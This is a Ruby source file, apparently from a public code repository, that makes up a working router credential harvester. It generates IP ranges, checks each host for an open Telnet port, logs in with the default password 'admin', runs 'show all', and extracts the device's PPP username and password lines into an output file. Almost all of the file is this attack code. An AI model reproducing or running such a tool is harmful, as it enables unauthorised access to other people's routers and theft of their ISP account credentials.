-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfunc.rb
144 lines (120 loc) · 3.23 KB
/
func.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
def ipgen (input)
ip=input.split(".")
if (ip[1].include? '-')
ip_rang="a"
elsif (ip[2].include? '-')
ip_rang="b"
elsif (ip[3].include? '-')
ip_rang="c"
else
singelip = Array.new
singelip.push(input)
return singelip
end
begin
ip_stack= Array.new
if (ip_rang == "c")
c_rang=ip[3].split("-")
c_rang_start=Integer(c_rang[0])
c_rang_end=Integer(c_rang[1])
while (c_rang_start<=c_rang_end) do
ip_stack.push ("#{ip[0]}.#{ip[1]}.#{ip[2]}.#{c_rang_start}")
c_rang_start+=1
end
elsif (ip_rang == "b")
b_rang=ip[2].split("-")
c_rang=ip[3].split("-")
b_rang_start=Integer(b_rang[0])
b_rang_end=Integer(b_rang[1])
c_rang_start=Integer(c_rang[0])
c_rang_end=Integer(c_rang[1])
while (b_rang_start<=b_rang_end) do
c_rang_start=Integer(c_rang[0])
while (c_rang_start<c_rang_end) do
ip_stack.push ("#{ip[0]}.#{ip[1]}.#{b_rang_start}.#{c_rang_start}")
c_rang_start+=1
end
ip_stack.push ("#{ip[0]}.#{ip[1]}.#{b_rang_start}.#{c_rang_start}")
b_rang_start +=1
end
elsif (ip_rang == "a")
a_rang=ip[1].split("-")
b_rang=ip[2].split("-")
c_rang=ip[3].split("-")
a_rang_start=Integer(a_rang[0])
a_rang_end=Integer(a_rang[1])
b_rang_start=Integer(b_rang[0])
b_rang_end=Integer(b_rang[1])
c_rang_start=Integer(c_rang[0])
c_rang_end=Integer(c_rang[1])
while (a_rang_start<=a_rang_end) do
b_rang_start=Integer(b_rang[0])
while (b_rang_start<b_rang_end) do
c_rang_start=Integer(c_rang[0])
while (c_rang_start<c_rang_end) do
ip_stack.push ("#{ip[0]}.#{a_rang_start}.#{b_rang_start}.#{c_rang_start}")
c_rang_start+=1
end
ip_stack.push ("#{ip[0]}.#{a_rang_start}.#{b_rang_start}.#{c_rang_start}")
b_rang_start +=1
end
ip_stack.push ("#{ip[0]}.#{a_rang_start}.#{b_rang_start}.#{c_rang_start}")
a_rang_start +=1
end
end
ip_stack
rescue
puts "Error : unable to generat ip adress"
end
end
def scan(host)
begin
timeout($timeout) do
sRaw=TCPSocket.open(host,23)
$alive_hosts.push(host) if sRaw != nil
puts "[+] #{host} - Alive \n" if $verbose
sRaw.close
end
rescue (Timeout::Error)
puts "[!] #{host} - Time out\n" if $verbose
rescue (Errno::ECONNREFUSED)
puts "[x] #{host} - Connection refused\n" if $verbose
rescue (Errno::EHOSTUNREACH)
puts "[x] #{host} - Host unreachable\n" if $verbose
end
end
def checkpwd(host)
host_crd=Hash.new
begin
host=Net::Telnet::new("Host" => "#{host}",
"Timeout" => 10,
"Prompt" => /[$%#>] \z/)
host.cmd("admin")
result=host.cmd("show all")
host.close
if result != nil
ppp_usr = result.match(/PPP User.*/)
ppp_pwd = result.match(/PPP Pass.*/)
host_crd = {
"usr" => ppp_usr,
"pwd" => ppp_pwd
}
else
host_crd = nil
end
return host_crd
rescue (Timeout::Error)
puts "[!] Timeout\n" if $verbose
rescue (Errno::ECONNRESET)
puts "[x] Connection refused\n" if $verbose
end
end
def export(filename,data)
begin
outfile= File.new(filename,'a')
outfile.write(data)
outfile.write("*****************\n")
outfile.close
rescue
end
end